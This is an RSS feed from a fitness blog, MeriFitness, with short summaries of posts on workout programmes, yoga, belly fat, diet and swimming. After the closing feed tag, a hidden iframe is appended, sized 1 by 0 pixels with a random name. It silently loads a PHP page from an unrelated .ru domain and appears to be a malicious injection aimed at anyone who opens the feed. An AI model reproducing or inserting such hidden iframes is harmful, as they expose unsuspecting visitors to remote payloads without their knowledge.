<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MeriFitness</title>
	<atom:link href="http://mfit.anylinuxwork.net/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://mfit.anylinuxwork.net/blog</link>
	<description>MeriFitness Blog Site</description>
	<lastBuildDate>Wed, 27 Apr 2011 08:54:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0-beta1</generator>
		<item>
		<title>Insanity Workout – Taking it for a Test Drive</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=135</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=135#comments</comments>
		<pubDate>Fri, 22 Oct 2010 06:03:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Health]]></category>
		<category><![CDATA[Yoga]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=135</guid>
		<description><![CDATA[Earlier this month, I posted my Turbulence Training review and how I am following the program. Right now, I am still in the first four weeks of it and I&#8217;m enjoying it very much.The workouts are short, intense, and don&#8217;t take up a lot of time during the week. However, I also borrowed my dad&#8217;s [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=135</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Turbulence Training Review – Short but Effective Workouts</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=115</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=115#comments</comments>
		<pubDate>Wed, 11 Aug 2010 08:32:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exercise]]></category>
		<category><![CDATA[Yoga]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=115</guid>
		<description><![CDATA[Just yesterday I began my first four weeks of the Turbulence Training workout. You may not be familiar with the program. It was created by Craig Ballantyne, CSCS, MS, a strength and conditioning coach in Toronto. He is also a regular contributor to Men&#8217;s Health magazine and a graduate of McMaster University in Hamilton, Ontario, [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=115</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Yoga Newbie</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=106</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=106#comments</comments>
		<pubDate>Wed, 11 Aug 2010 07:25:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=106</guid>
		<description><![CDATA[Hello everyone! I don&#8217;t know if this is the correct place to post this, but I was wondering if anyone would mind giving me their personal feedback/experience with the health benefits of yoga. I&#8217;m in fairly decent shape for a 55 YO from outward appearances, but I can literally feel myself deteriorating rapidly as I [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=106</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can You Lose Just Belly Fat?</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=101</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=101#comments</comments>
		<pubDate>Tue, 27 Jul 2010 05:37:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Food]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=101</guid>
		<description><![CDATA[Having fat around the midsection is a very common problem for many overweight individuals. When you&#8217;ve made that decision to drop the extra pounds, you may immediately focus just on your belly fat. How can you get rid of it? While it&#8217;s definitly good to realize that extra weight around the stomach is a bad [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=101</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>‘Power’-packed Yoga</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=91</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=91#comments</comments>
		<pubDate>Thu, 08 Jul 2010 11:43:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exercise]]></category>
		<category><![CDATA[Yoga]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=91</guid>
		<description><![CDATA[While the tinsel-town keeps talking a lot about it, most laypersons get the impression that it must be a difficult-to-do exercise. However, when it comes to Yoga, there is no Asan that you cannot do. Interestingly, Power Yoga became a fad in the West first and then became a rage here. Power &#8211; packed yoga [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=91</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Make a good health headline</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=87</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=87#comments</comments>
		<pubDate>Thu, 08 Jul 2010 07:00:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Food]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[Swim]]></category>
		<category><![CDATA[latest product]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=87</guid>
		<description><![CDATA[Good Morning. Today’s news. This is the fourth consecutive week of the fifth consecutive month that you haven’t exercised. This morning is different only because you woke up 15 minutes before eight!!  So congratulations on that. You still feel fatigued despite almost seven hours of sleep. You are yet to start having fruit juice instead [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=87</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Fat abs: Who’s the real culprit?</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=83</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=83#comments</comments>
		<pubDate>Thu, 08 Jul 2010 06:56:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Food]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[Body building]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=83</guid>
		<description><![CDATA[More sit-ups. A few more crunches. A bit more dancing. Same result. That abdomen is still so fat. Why? Simply because the real culprit with flabby abdomen, especially among the Indian women, happens to be the diet or even stressful lifestyle. If results of a new international research were to be believed, what you eat [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=83</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Time for a good swim!</title>
		<link>http://mfit.anylinuxwork.net/blog/?p=77</link>
		<comments>http://mfit.anylinuxwork.net/blog/?p=77#comments</comments>
		<pubDate>Thu, 08 Jul 2010 05:41:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Health]]></category>
		<category><![CDATA[Swim]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[swim]]></category>

		<guid isPermaLink="false">http://mfit.anylinuxwork.net/blog/?p=77</guid>
		<description><![CDATA[Shedding fat: One of the swimming health facts is that it promotes fat loss. It is the best exercise to burn calories and lose body weight. So, swimming leads to weight loss which you can get by regularly performing it along with resistance training program. Good for mothers: Another beneficial aspect of swimming workout is [...]]]></description>
		<wfw:commentRss>http://mfit.anylinuxwork.net/blog/?feed=rss2&amp;p=77</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe name="SagUTeXYne" src="http://freedom24.ru/templates/rhuk_milkyway/kx/index.php?out=1330961285" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>
